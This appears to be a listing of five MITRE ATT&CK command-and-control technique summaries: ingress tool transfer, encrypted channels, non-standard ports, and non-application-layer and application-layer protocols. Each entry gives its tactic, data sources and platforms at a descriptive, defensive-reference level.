Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre